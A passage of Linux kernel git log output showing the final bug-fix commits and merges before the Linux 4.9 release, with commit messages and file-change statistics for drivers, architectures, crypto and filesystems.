commit 69973b830859bc6529a7a0468ba0d80ee5117826 Author: Linus Torvalds Date: Sun Dec 11 11:17:54 2016 -0800 Linux 4.9 Makefile | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 2e4333c14de06a333783d6812cf3c4998f78b0c8 Merge: 0451698 ba73515 Author: Linus Torvalds Date: Sun Dec 11 10:17:39 2016 -0800 Merge branch 'upstream' of git://git.linux-mips.org/pub/scm/ralf/upstream-linus Pull MIPS fixes from Ralf Baechle: "Two more MIPS fixes for 4.9: - RTC: Return -ENODEV so an external RTC will be tried - Fix mask of GPE frequency These two have been tested on Imagination's automated test system and also both received positive reviews on the linux-mips mailing list" * 'upstream' of git://git.linux-mips.org/pub/scm/ralf/upstream-linus: MIPS: Lantiq: Fix mask of GPE frequency MIPS: Return -ENODEV from weak implementation of rtc_mips_set_time commit ba735155b9647b6167fd50276ca0fbfbce4e836c Author: Hauke Mehrtens Date: Wed Dec 7 22:32:00 2016 +0100 MIPS: Lantiq: Fix mask of GPE frequency The hardware documentation says bit 11:10 are used for the GPE frequency selection. Fix the mask in the define to match these bits. Signed-off-by: Hauke Mehrtens Reported-by: Dan Carpenter Reviewed-by: Thomas Langer Cc: linux-mips@linux-mips.org Cc: john@phrozen.org Patchwork: https://patchwork.linux-mips.org/patch/14648/ Signed-off-by: Ralf Baechle arch/mips/lantiq/falcon/sysctrl.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit edb6fa1a6452edf736c04d02e3f6de59043df69e Author: Luuk Paulussen Date: Thu Dec 8 11:43:34 2016 +1300 MIPS: Return -ENODEV from weak implementation of rtc_mips_set_time The sync_cmos_clock function in kernel/time/ntp.c first tries to update the internal clock of the cpu by calling the "update_persistent_clock64" architecture specific function. If this returns -ENODEV, it then tries to update an external RTC using "rtc_set_ntp_time". On the mips architecture, the weak implementation of the underlying function would return 0 if it wasn't overridden. This meant that the sync_cmos_clock function would never try to update an external RTC (if both CONFIG_GENERIC_CMOS_UPDATE and CONFIG_RTC_SYSTOHC are configured) Returning -ENODEV instead, means that an external RTC will be tried. Signed-off-by: Luuk Paulussen Reviewed-by: Richard Laing Reviewed-by: Scott Parlane Reviewed-by: Chris Packham Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14649/ Signed-off-by: Ralf Baechle arch/mips/kernel/time.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 045169816b31b10faed984b01c390db1b32ee4c1 Merge: cd66289 678b5c6 Author: Linus Torvalds Date: Sat Dec 10 09:47:13 2016 -0800 Merge branch 'linus' of git://git.kernel.org/pub/scm/linux/kernel/git/herbert/crypto-2.6 Pull crypto fixes from Herbert Xu: "This fixes the following issues: - Fix pointer size when caam is used with AArch64 boot loader on AArch32 kernel. - Fix ahash state corruption in marvell driver. - Fix buggy algif_aed tag handling. - Prevent mcryptd from being used with incompatible algorithms which can cause crashes" * 'linus' of git://git.kernel.org/pub/scm/linux/kernel/git/herbert/crypto-2.6: crypto: algif_aead - fix uninitialized variable warning crypto: mcryptd - Check mcryptd algorithm compatibility crypto: algif_aead - fix AEAD tag memory handling crypto: caam - fix pointer size for AArch64 boot loader, AArch32 kernel crypto: marvell - Don't corrupt state of an STD req for re-stepped ahash crypto: marvell - Don't copy hash operation twice into the SRAM commit cd6628953e4216b65e7d91ab70ff8e5b65c9fde9 Merge: 810ac7b7 d33695f Author: Linus Torvalds Date: Sat Dec 10 09:23:19 2016 -0800 Merge git://git.kernel.org/pub/scm/linux/kernel/git/davem/net Pull networking fixes from David Miller: 1) Limit the number of can filters to avoid > MAX_ORDER allocations. Fix from Marc Kleine-Budde. 2) Limit GSO max size in netvsc driver to avoid problems with NVGRE configurations. From Stephen Hemminger. 3) Return proper error when memory allocation fails in ser_gigaset_init(), from Dan Carpenter. 4) Missing linkage undo in error paths of ipvlan_link_new(), from Gao Feng. 5) Missing necessayr SET_NETDEV_DEV in lantiq and cpmac drivers, from Florian Fainelli. 6) Handle probe deferral properly in smsc911x driver. * git://git.kernel.org/pub/scm/linux/kernel/git/davem/net: net: mlx5: Fix Kconfig help text net: smsc911x: back out silently on probe deferrals ibmveth: set correct gso_size and gso_type net: ethernet: cpmac: Call SET_NETDEV_DEV() net: ethernet: lantiq_etop: Call SET_NETDEV_DEV() vhost-vsock: fix orphan connection reset cxgb4/cxgb4vf: Assign netdev->dev_port with port ID driver: ipvlan: Unlink the upper dev when ipvlan_link_new failed ser_gigaset: return -ENOMEM on error instead of success NET: usb: cdc_mbim: add quirk for supporting Telit LE922A can: peak: fix bad memory access and free sequence phy: Don't increment MDIO bus refcount unless it's a different owner netvsc: reduce maximum GSO size drivers: net: cpsw-phy-sel: Clear RGMII_IDMODE on "rgmii" links can: raw: raw_setsockopt: limit number of can_filter that can be set commit d33695fbfab73a4a6550fa5c2d0bacc68d7c5901 Author: Christopher Covington Date: Fri Dec 9 16:53:05 2016 -0500 net: mlx5: Fix Kconfig help text Since the following commit, Infiniband and Ethernet have not been mutually exclusive. Fixes: 4aa17b28 mlx5: Enable mutual support for IB and Ethernet Signed-off-by: Christopher Covington Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/Kconfig | 2 -- 1 file changed, 2 deletions(-) commit ab4e4c07aca7b33f8d00c5d6b083a564660ca8a5 Author: Linus Walleij Date: Fri Dec 9 14:18:00 2016 +0100 net: smsc911x: back out silently on probe deferrals When trying to get a regulator we may get deferred and we see this noise: smsc911x 1b800000.ethernet-ebi2 (unnamed net_device) (uninitialized): couldn't get regulators -517 Then the driver continues anyway. Which means that the regulator may not be properly retrieved and reference counted, and may be switched off in case noone else is using it. Fix this by returning silently on deferred probe and let the system work it out. Cc: Jeremy Linton Signed-off-by: Linus Walleij Signed-off-by: David S. Miller drivers/net/ethernet/smsc/smsc911x.c | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) commit 7b5967389f5a8dfb9d32843830f5e2717e20995d Author: Thomas Falcon Date: Thu Dec 8 16:40:03 2016 -0600 ibmveth: set correct gso_size and gso_type This patch is based on an earlier one submitted by Jon Maxwell with the following commit message: "We recently encountered a bug where a few customers using ibmveth on the same LPAR hit an issue where a TCP session hung when large receive was enabled. Closer analysis revealed that the session was stuck because the one side was advertising a zero window repeatedly. We narrowed this down to the fact the ibmveth driver did not set gso_size which is translated by TCP into the MSS later up the stack. The MSS is used to calculate the TCP window size and as that was abnormally large, it was calculating a zero window, even although the sockets receive buffer was completely empty." We rely on the Virtual I/O Server partition in a pseries environment to provide the MSS through the TCP header checksum field. The stipulation is that users should not disable checksum offloading if rx packet aggregation is enabled through VIOS. Some firmware offerings provide the MSS in the RX buffer. This is signalled by a bit in the RX queue descriptor. Reviewed-by: Brian King Reviewed-by: Pradeep Satyanarayana Reviewed-by: Marcelo Ricardo Leitner Reviewed-by: Jonathan Maxwell Reviewed-by: David Dai Signed-off-by: Thomas Falcon Signed-off-by: David S. Miller drivers/net/ethernet/ibm/ibmveth.c | 65 ++++++++++++++++++++++++++++++++++++-- drivers/net/ethernet/ibm/ibmveth.h | 1 + 2 files changed, 64 insertions(+), 2 deletions(-) commit 810ac7b7558d7830e72d8dbf34b851fce39e08b0 Merge: 861d75d 325896f Author: Linus Torvalds Date: Fri Dec 9 11:27:22 2016 -0800 Merge branch 'libnvdimm-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/nvdimm/nvdimm Pull libnvdimm fixes from Dan Williams: "Several fixes to the DSM (ACPI device specific method) marshaling implementation. I consider these urgent enough to send for 4.9 consideration since they fix the kernel's handling of ARS (Address Range Scrub) commands. Especially for platforms without machine-check-recovery capabilities, successful execution of ARS commands enables the platform to potentially break out of an infinite reboot problem if a media error is present in the boot path. There is also a one line fix for a device-dax read-only mapping regression. Commits 9a901f5495e2 ("acpi, nfit: fix extended status translations for ACPI DSMs") and 325896ffdf90 ("device-dax: fix private mapping restriction, permit read-only") are true regression fixes for changes introduced this cycle. Commit efda1b5d87cb ("acpi, nfit, libnvdimm: fix / harden ars_status output length handling") fixes the kernel's handling of zero-length results, this never would have worked in the past, but we only just recently discovered a BIOS implementation that emits this arguably spec non-compliant result. The remaining two commits are additional fall out from thinking through the implications of a zero / truncated length result of the ARS Status command. In order to mitigate the risk that these changes introduce yet more regressions they are backstopped by a new unit test in commit a7de92dac9f0 ("tools/testing/nvdimm: unit test acpi_nfit_ctl()") that mocks up inputs to acpi_nfit_ctl()" * 'libnvdimm-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/nvdimm/nvdimm: device-dax: fix private mapping restriction, permit read-only tools/testing/nvdimm: unit test acpi_nfit_ctl() acpi, nfit: fix bus vs dimm confusion in xlat_status acpi, nfit: validate ars_status output buffer size acpi, nfit, libnvdimm: fix / harden ars_status output length handling acpi, nfit: fix extended status translations for ACPI DSMs commit 861d75d098e2d0a2d7692c9d6a30b6fd2c81387c Merge: af9468d e185934 Author: Linus Torvalds Date: Fri Dec 9 11:07:45 2016 -0800 Merge branch 'for-4.9-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/tj/libata Pull libata fixes from Tejun Heo: "This is quite late but SCT Write Same support added during this cycle is broken subtly but seriously and it'd be best to disable it before v4.9 gets released. This contains two commits - one low impact sata_mv fix and the mentioned disabling of SCT Write Same" * 'for-4.9-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/tj/libata: libata-scsi: disable SCT Write Same for the moment ata: sata_mv: check for errors when parsing nr-ports from dt commit af9468db44989f995ec98c5cc63c99b16b78ee66 Merge: 1f6c926 c3f4688 Author: Linus Torvalds Date: Fri Dec 9 11:02:40 2016 -0800 Merge tag 'ceph-for-4.9-rc9' of git://github.com/ceph/ceph-client Pull ceph fix from Ilya Dryomov: "A fix for an issue with ->d_revalidate() in ceph, causing frequent kernel crashes. Marked for stable - it goes back to 4.6, but started popping up only in 4.8" * tag 'ceph-for-4.9-rc9' of git://github.com/ceph/ceph-client: ceph: don't set req->r_locked_dir in ceph_d_revalidate commit 1f6c926c0aa9180d42fcda53578881fc57f83a9a Merge: 7514712 038ccb3 Author: Linus Torvalds Date: Fri Dec 9 11:00:39 2016 -0800 Merge tag 'armsoc-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/arm/arm-soc Pull ARM SoC fixes from Olof Johansson: "Final batch of SoC fixes A few fixes that have trickled in over the last week, all fixing minor errors in devicetrees -- UART pin assignment on Allwinner H3, correcting number of SATA ports on a Marvell-based Linkstation platform and a display clock fix for Freescale/NXP i.MX7D that fixes a freeze when starting up X" * tag 'armsoc-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/arm/arm-soc: ARM: dts: orion5x: fix number of sata port for linkstation ls-gl ARM: dts: imx7d: fix LCDIF clock assignment dts: sun8i-h3: correct UART3 pin definitions commit 751471201eb92b95a29cf3dd2b296ee6f6d93d23 Merge: 1ca17e9 7e251bb Author: Linus Torvalds Date: Fri Dec 9 10:54:54 2016 -0800 Merge tag 'm68k-for-v4.9-tag2' of git://git.kernel.org/pub/scm/linux/kernel/git/geert/linux-m68k Pull m68k fixes from Geert Uytterhoeven: - build fix for drivers calling ndelay() in a conditional block without curly braces - defconfig updates * tag 'm68k-for-v4.9-tag2' of git://git.kernel.org/pub/scm/linux/kernel/git/geert/linux-m68k: m68k: Fix ndelay() macro m68k/defconfig: Update defconfigs for v4.9-rc1 commit 1ca17e97966aa4b651e56861f83695e3645bf954 Merge: 2b41226 4e4f3e9 Author: Linus Torvalds Date: Fri Dec 9 10:50:49 2016 -0800 Merge branch 'drm-fixes' of git://people.freedesktop.org/~airlied/linux Pull drm fix from Dave Airlie: "Just a single fix for amdgpu to just suspend the gpu on 'shutdown' instead of shutting it down fully, as for some reason the hw was getting upset in some situations" * 'drm-fixes' of git://people.freedesktop.org/~airlied/linux: drm/amdgpu: just suspend the hw on pci shutdown commit 2b41226b39b654a5e20bce5a7332f307fdb9156b Author: Linus Torvalds Date: Fri Dec 9 10:41:42 2016 -0800 Revert "radix tree test suite: fix compilation" This reverts commit 53855d10f4567a0577360b6448d52a863929775b. It shouldn't have come in yet - it depends on the changes in linux-next that will come in during the next merge window. As Matthew Wilcox says, the test suite is broken with the current state without the revert. Requested-by: Matthew Wilcox Cc: Andrew Morton Signed-off-by: Linus Torvalds lib/radix-tree.c | 1 + tools/testing/radix-tree/linux/cpu.h | 22 +++++++++++++++++++++- tools/testing/radix-tree/linux/notifier.h | 8 ++++++++ 3 files changed, 30 insertions(+), 1 deletion(-) commit 1472d599a8d30429bf322fdc53bae3bec382308d Merge: c458763 5579f28 Author: David S. Miller Date: Thu Dec 8 21:26:59 2016 -0500 Merge branch 'ethernet-missing-netdev-parent' Florian Fainelli says: ==================== net: ethernet: Make sure we set dev->dev.parent This patch series builds atop: ec988ad78ed6d184a7f4ca6b8e962b0e8f1de461 ("phy: Don't increment MDIO bus refcount unless it's a different owner") FMAN is the one that potentially needs patching as well (call SET_NETDEV_DEV), but there appears to be no way that init_phy is called right now, or there is not such an in-tree user. Madalin, can you comment on that? ==================== Signed-off-by: David S. Miller commit 5579f28cc8ba8a3b489cb042fcb30d331236c3bb Author: Florian Fainelli Date: Thu Dec 8 11:41:25 2016 -0800 net: ethernet: cpmac: Call SET_NETDEV_DEV() The TI CPMAC driver calls into PHYLIB which now checks for net_device->dev.parent, so make sure we do set it before calling into any MDIO/PHYLIB related function. Fixes: ec988ad78ed6 ("phy: Don't increment MDIO bus refcount unless it's a different owner") Signed-off-by: Florian Fainelli Signed-off-by: David S. Miller drivers/net/ethernet/ti/cpmac.c | 1 + 1 file changed, 1 insertion(+) commit 9cecb138e54c54989375bceeb448affcdf03497f Author: Florian Fainelli Date: Thu Dec 8 11:41:24 2016 -0800 net: ethernet: lantiq_etop: Call SET_NETDEV_DEV() The Lantiq Etop driver calls into PHYLIB which now checks for net_device->dev.parent, so make sure we do set it before calling into any MDIO/PHYLIB related function. Fixes: ec988ad78ed6 ("phy: Don't increment MDIO bus refcount unless it's a different owner") Signed-off-by: Florian Fainelli Signed-off-by: David S. Miller drivers/net/ethernet/lantiq_etop.c | 1 + 1 file changed, 1 insertion(+) commit c4587631c7bad47c045e081d1553cd73a23be59a Author: Peng Tao Date: Fri Dec 9 01:10:46 2016 +0800 vhost-vsock: fix orphan connection reset local_addr.svm_cid is host cid. We should check guest cid instead, which is remote_addr.svm_cid. Otherwise we end up resetting all connections to all guests. Cc: stable@vger.kernel.org [4.8+] Reviewed-by: Stefan Hajnoczi Signed-off-by: Peng Tao Signed-off-by: David S. Miller drivers/vhost/vsock.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a37102dcd7ec71f6f6a00b1ad770c3bde3af3c18 Merge: b4aafe7 24d0492 Author: Linus Torvalds Date: Thu Dec 8 15:40:15 2016 -0800 Merge branch 'parisc-4.9-5' of git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux Pull parisc fixes from Helge Deller: "Three important fixes for the parisc architecture. Dave provided two patches: One which purges the TLB before setting a PTE entry and a second one which drops unnecessary TLB flushes. Both patches have been tested for one week on the debian buildd servers and prevent random segmentation faults. The patch from me fixes a crash at boot inside the TLB measuring code on SMP machines with PA8000-PA8700 CPUs (specifically A500-44 and J5000 servers)" * 'parisc-4.9-5' of git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux: parisc: Fix TLB related boot crash on SMP machines parisc: Remove unnecessary TLB purges from flush_dcache_page_asm and flush_icache_page_asm parisc: Purge TLB before setting PTE commit 1e97426d29fec42e559d12cdb069c83962be762e Merge: d2a007ab b67d0dd7 Author: David S. Miller Date: Thu Dec 8 18:22:40 2016 -0500 Merge tag 'linux-can-fixes-for-4.9-20161208' of git://git.kernel.org/pub/scm/linux/kernel/git/mkl/linux-can Marc Kleine-Budde says: ==================== pull-request: can 2016-12-08 this is a pull request for one patch. Jiho Chu found and fixed a use-after-free error in the cleanup path in the peak pcan USB CAN driver. ==================== Signed-off-by: David S. Miller commit d2a007ab191646d41553ffb6624cef1957e899ae Author: Arjun V Date: Thu Dec 8 18:09:23 2016 +0530 cxgb4/cxgb4vf: Assign netdev->dev_port with port ID Added missing dev_port assignment in cxgb4vf driver. Also made dev_port assignment of cxgb4 in sync with cxgb4vf driver. Signed-off-by: Casey Leedom Signed-off-by: Arjun V Signed-off-by: Hariprasad Shenai Signed-off-by: Ganesh Goudar Signed-off-by: David S. Miller drivers/net/ethernet/chelsio/cxgb4/cxgb4_main.c | 1 + drivers/net/ethernet/chelsio/cxgb4/t4_hw.c | 1 - drivers/net/ethernet/chelsio/cxgb4vf/cxgb4vf_main.c | 1 + 3 files changed, 2 insertions(+), 1 deletion(-) commit 24d0492b7d5d321a9c5846c8c974eba9823ffaa0 Author: Helge Deller Date: Thu Dec 8 21:00:46 2016 +0100 parisc: Fix TLB related boot crash on SMP machines At bootup we run measurements to calculate the best threshold for when we should be using full TLB flushes instead of just flushing a specific amount of TLB entries. This performance test is run over the kernel text segment. But running this TLB performance test on the kernel text segment turned out to crash some SMP machines when the kernel text pages were mapped as huge pages. To avoid those crashes this patch simply skips this test on some SMP machines and calculates an optimal threshold based on the maximum number of available TLB entries and number of online CPUs. On a technical side, this seems to happen: The TLB measurement code uses flush_tlb_kernel_range() to flush specific TLB entries with a page size of 4k (pdtlb 0(sr1,addr)). On UP systems this purge instruction seems to work without problems even if the pages were mapped as huge pages. But on SMP systems the TLB purge instruction is broadcasted to other CPUs. Those CPUs then crash the machine because the page size is not as expected. C8000 machines with PA8800/PA8900 CPUs were not affected by this problem, because the required cache coherency prohibits to use huge pages at all. Sadly I didn't found any documentation about this behaviour, so this finding is purely based on testing with phyiscal SMP machines (A500-44 and J5000, both were 2-way boxes). Cc: # v3.18+ Signed-off-by: Helge Deller arch/parisc/kernel/cache.c | 11 +++++++++++ 1 file changed, 11 insertions(+) commit b4aafe77ec65ab2846a5780bb1ba4eff7ccf82d1 Merge: 318c893 ff682a3 Author: Linus Torvalds Date: Thu Dec 8 12:04:41 2016 -0800 Merge tag 'scsi-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/jejb/scsi Pull SCSI fix from James Bottomley: "One small fix for a regression in a prior fix (again). This time the condition in the prior fix BUG_ON proved to be wrong under certain circumstances causing a BUG to trigger where it shouldn't in the lpfc driver" * tag 'scsi-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/jejb/scsi: scsi: lpfc: fix oops/BUG in lpfc_sli_ringtxcmpl_put() commit 1a31cc86ef3ce9d873a713f422c34b47a188caec Author: Gao Feng Date: Thu Dec 8 11:16:58 2016 +0800 driver: ipvlan: Unlink the upper dev when ipvlan_link_new failed When netdev_upper_dev_unlink failed in ipvlan_link_new, need to unlink the ipvlan dev with upper dev. Signed-off-by: Gao Feng Acked-by: Mahesh Bandewar Signed-off-by: David S. Miller drivers/net/ipvlan/ipvlan_main.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 93a97c50cbf1c007caf12db5cc23e0d5b9c8473c Author: Dan Carpenter Date: Wed Dec 7 14:22:03 2016 +0300 ser_gigaset: return -ENOMEM on error instead of success If we can't allocate the resources in gigaset_initdriver() then we should return -ENOMEM instead of zero. Fixes: 2869b23e4b95 ("[PATCH] drivers/isdn/gigaset: new M101 driver (v2)") Signed-off-by: Dan Carpenter Signed-off-by: David S. Miller drivers/isdn/gigaset/ser-gigaset.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 038ccb3e8cee52e07dc118ff99f47eaebc1d0746 Author: Roger Shimizu Date: Fri Dec 2 00:11:12 2016 +0900 ARM: dts: orion5x: fix number of sata port for linkstation ls-gl Bug report from Debian [0] shows there's minor changed model of Linkstation LS-GL that uses the 2nd SATA port of the SoC. So it's necessary to enable two SATA ports, though for that specific model only the 2nd one is used. [0] https://bugs.debian.org/845611 Fixes: b1742ffa9ddb ("ARM: dts: orion5x: add device tree for buffalo linkstation ls-gl") Reported-by: Ryan Tandy Tested-by: Ryan Tandy Signed-off-by: Roger Shimizu Signed-off-by: Gregory CLEMENT arch/arm/boot/dts/orion5x-linkstation-lsgl.dts | 4 ++++ 1 file changed, 4 insertions(+) commit 7b8076ce8a00d553ae9d3b7eb5f0cc3e63cb16f1 Author: Daniele Palmas Date: Wed Dec 7 14:07:48 2016 +0100 NET: usb: cdc_mbim: add quirk for supporting Telit LE922A Telit LE922A MBIM based composition does not work properly with altsetting toggle done in cdc_ncm_bind_common. This patch adds CDC_MBIM_FLAG_AVOID_ALTSETTING_TOGGLE quirk to avoid this procedure that, instead, is mandatory for other modems. Signed-off-by: Daniele Palmas Reviewed-by: Bjørn Mork Signed-off-by: David S. Miller drivers/net/usb/cdc_mbim.c | 21 +++++++++++++++++++++ drivers/net/usb/cdc_ncm.c | 14 +++++++++----- include/linux/usb/cdc_ncm.h | 3 ++- 3 files changed, 32 insertions(+), 6 deletions(-) commit b67d0dd7d0dc9e456825447bbeb935d8ef43ea7c Author: 추지호 Date: Thu Dec 8 12:01:13 2016 +0000 can: peak: fix bad memory access and free sequence Fix for bad memory access while disconnecting. netdev is freed before private data free, and dev is accessed after freeing netdev. This makes a slub problem, and it raise kernel oops with slub debugger config. Signed-off-by: Jiho Chu Cc: linux-stable Signed-off-by: Marc Kleine-Budde drivers/net/can/usb/peak_usb/pcan_usb_core.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit c3f4688a08fd86f1bf8e055724c84b7a40a09733 Author: Jeff Layton Date: Wed Nov 30 15:56:46 2016 -0500 ceph: don't set req->r_locked_dir in ceph_d_revalidate This function sets req->r_locked_dir which is supposed to indicate to ceph_fill_trace that the parent's i_rwsem is locked for write. Unfortunately, there is no guarantee that the dir will be locked when d_revalidate is called, so we really don't want ceph_fill_trace to do any dcache manipulation from this context. Clear req->r_locked_dir since it's clearly not safe to do that. What we really want to know with d_revalidate is whether the dentry still points to the same inode. ceph_fill_trace installs a pointer to the inode in req->r_target_inode, so we can just compare that to d_inode(dentry) to see if it's the same one after the lookup. Also, since we aren't generally interested in the parent here, we can switch to using a GETATTR to hint that to the MDS, which also means that we only need to reserve one cap. Finally, just remove the d_unhashed check. That's really outside the purview of a filesystem's d_revalidate. If the thing became unhashed while we're checking it, then that's up to the VFS to handle anyway. Fixes: 200fd27c8fa2 ("ceph: use lookup request to revalidate dentry") Link: http://tracker.ceph.com/issues/18041 Reported-by: Donatas Abraitis Signed-off-by: Jeff Layton Reviewed-by: "Yan, Zheng" Signed-off-by: Ilya Dryomov fs/ceph/dir.c | 24 ++++++++++++++---------- 1 file changed, 14 insertions(+), 10 deletions(-) commit 678b5c6b22fed89a13d5b2267f423069a9b11c80 Author: Stephan Mueller Date: Thu Dec 8 07:09:44 2016 +0100 crypto: algif_aead - fix uninitialized variable warning In case the user provided insufficient data, the code may return prematurely without any operation. In this case, the processed data indicated with outlen is zero. Reported-by: Stephen Rothwell Signed-off-by: Stephan Mueller Signed-off-by: Herbert Xu crypto/algif_aead.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 318c8932ddec5c1c26a4af0f3c053784841c598e Merge: ea5a9ef 166ad0e Author: Linus Torvalds Date: Wed Dec 7 17:28:38 2016 -0800 Merge branch 'akpm' (patches from Andrew) Merge more fixes from Andrew Morton: "3 fixes" * emailed patches from Andrew Morton : kcov: add missing #include radix tree test suite: fix compilation zram: restrict add/remove attributes to root only commit 166ad0e1e2132ff0cda08b94af8301655fcabbcd Author: Kefeng Wang Date: Wed Dec 7 14:44:36 2016 -0800 kcov: add missing #include In __sanitizer_cov_trace_pc we use task_struct and fields within it, but as we haven't included , it is not guaranteed to be defined. While we usually happen to acquire the definition through a transitive include, this is fragile (and hasn't been true in the past, causing issues with backports). Include to avoid any fragility. [mark.rutland@arm.com: rewrote changelog] Link: http://lkml.kernel.org/r/1481007384-27529-1-git-send-email-wangkefeng.wang@huawei.com Signed-off-by: Kefeng Wang Acked-by: Mark Rutland Cc: Dmitry Vyukov Cc: Andrey Ryabinin Cc: James Morse Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds kernel/kcov.c | 1 + 1 file changed, 1 insertion(+) commit 53855d10f4567a0577360b6448d52a863929775b Author: Matthew Wilcox Date: Wed Dec 7 14:44:33 2016 -0800 radix tree test suite: fix compilation Patch "lib/radix-tree: Convert to hotplug state machine" breaks the test suite as it adds a call to cpuhp_setup_state_nocalls() which is not currently emulated in the test suite. Add it, and delete the emulation of the old CPU hotplug mechanism. Link: http://lkml.kernel.org/r/1480369871-5271-36-git-send-email-mawilcox@linuxonhyperv.com Signed-off-by: Matthew Wilcox Tested-by: Kirill A. Shutemov Cc: Konstantin Khlebnikov Cc: Ross Zwisler Cc: Matthew Wilcox Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds lib/radix-tree.c | 1 - tools/testing/radix-tree/linux/cpu.h | 22 +--------------------- tools/testing/radix-tree/linux/notifier.h | 8 -------- 3 files changed, 1 insertion(+), 30 deletions(-) commit 5c7e9ccd91b90d87029261f8856294ee51934cab Author: Sergey Senozhatsky Date: Wed Dec 7 14:44:31 2016 -0800 zram: restrict add/remove attributes to root only zram hot_add sysfs attribute is a very 'special' attribute - reading from it creates a new uninitialized zram device. This file, by a mistake, can be read by a 'normal' user at the moment, while only root must be able to create a new zram device, therefore hot_add attribute must have S_IRUSR mode, not S_IRUGO. [akpm@linux-foundation.org: s/sence/sense/, reflow comment to use 80 cols] Fixes: 6566d1a32bf72 ("zram: add dynamic device add/remove functionality") Link: http://lkml.kernel.org/r/20161205155845.20129-1-sergey.senozhatsky@gmail.com Signed-off-by: Sergey Senozhatsky Reported-by: Steven Allen Acked-by: Greg Kroah-Hartman Cc: Minchan Kim Cc: [4.2+] Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds drivers/block/zram/zram_drv.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) commit 4e4f3e984954143fb0b8e5035df7ff22dd07bb6a Merge: 3e5de27 faefba9 Author: Dave Airlie Date: Thu Dec 8 10:32:27 2016 +1000 Merge branch 'drm-fixes-4.9' of git://people.freedesktop.org/~agd5f/linux into drm-fixes another regression fix for the shutdown stuff. * 'drm-fixes-4.9' of git://people.freedesktop.org/~agd5f/linux: drm/amdgpu: just suspend the hw on pci shutdown commit e185934ff94466b4a449165e5f1c164a44d005f2 Author: Nicolai Stange Date: Wed Dec 7 22:21:33 2016 +0100 libata-scsi: disable SCT Write Same for the moment SCT Write Same support had been introduced with commit 7b2030942859 ("libata: Add support for SCT Write Same") Some problems, namely excessive userspace segfaults, had been reported at http://lkml.kernel.org/r/20160908192736.GA4356@gmail.com This lead to commit 0ce1b18c42a5 ("libata: Some drives failing on SCT Write Same") which strived to disable SCT Write Same on !ZAC devices. Due to the way this was done and to the logic in sd_config_write_same(), this didn't work for those devices that have ->max_ws_blocks > SD_MAX_WS10_BLOCKS: for these, ->no_write_same and ->max_write_same_sectors would still be non-zero, but ->ws10 == ->ws16 == 0. This would cause sd_setup_write_same_cmnd() to demultiplex REQ_OP_WRITE_SAME requests to WRITE_SAME, and these in turn aren't supported by libata-scsi: EXT4-fs (dm-1): Delayed block allocation failed for inode 2625094 at logical offset 2032 with max blocks 2 with error 121 EXT4-fs (dm-1): This should not happen!! Data will be lost 121 == EREMOTEIO is what scsi_io_completion() asserts in case of invalid opcodes. Back to the original problem of userspace segfaults: this can be tracked down to ata_format_sct_write_same() overwriting the input page. Sometimes, this page is ZERO_PAGE(0) which ceases to be filled with zeros from that point on. Since ZERO_PAGE(0) is used for userspace .bss mappings, code of the following is doomed: static char *a = NULL; /* .bss */ ... if (a) *a = 'a'; This problem is not solved by disabling SCT Write Same for !ZAC devices only. It can certainly be fixed, but the final release is quite close -- so disable SCT Write Same for all ATA devices rather than introducing some SCT key buffer allocation schemes at this point. Fixes: 7b2030942859 ("libata: Add support for SCT Write Same") Signed-off-by: Nicolai Stange Signed-off-by: Tejun Heo drivers/ata/libata-scsi.c | 1 + 1 file changed, 1 insertion(+) commit 4b707fa00a80b19b80bc8df6f1cbf4bdd9c91402 Author: Stefan Agner Date: Tue Nov 22 16:42:04 2016 -0800 ARM: dts: imx7d: fix LCDIF clock assignment The eLCDIF IP of the i.MX 7 SoC knows multiple clocks and lists them separately: Clock Clock Root Description apb_clk MAIN_AXI_CLK_ROOT AXI clock pix_clk LCDIF_PIXEL_CLK_ROOT Pixel clock ipg_clk_s MAIN_AXI_CLK_ROOT Peripheral access clock All of them are switched by a single gate, which is part of the IMX7D_LCDIF_PIXEL_ROOT_CLK clock. Hence using that clock also for the AXI bus clock (clock-name "axi") makes sure the gate gets enabled when accessing registers. There seem to be no separate AXI display clock, and the clock is optional. Hence remove the dummy clock. This fixes kernel freezes when starting the X-Server (which disables/re-enables the display controller). Fixes: e8ed73f691bd ("ARM: dts: imx7d: add lcdif support") Signed-off-by: Stefan Agner Reviewed-by: Fabio Estevam Acked-by: Shawn Guo Signed-off-by: Olof Johansson arch/arm/boot/dts/imx7s.dtsi | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit 4367c1d846552163f65aec11dcbe2659c8cf7128 Author: Jorik Jonker Date: Tue Dec 6 15:27:10 2016 +0100 dts: sun8i-h3: correct UART3 pin definitions In a previous commit, I made a copy/paste error in the pinmux definitions of UART3: PG{13,14} instead of PA{13,14}. This commit takes care of that. I have tested this commit on Orange Pi PC and Orange Pi Plus, and it works for these boards. Fixes: e3d11d3c45c5 ("dts: sun8i-h3: add pinmux definitions for UART2-3") Signed-off-by: Jorik Jonker Acked-by: Maxime Ripard Signed-off-by: Olof Johansson arch/arm/boot/dts/sun8i-h3.dtsi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ea5a9eff96fed8252f3a8c94a84959f981a93cae 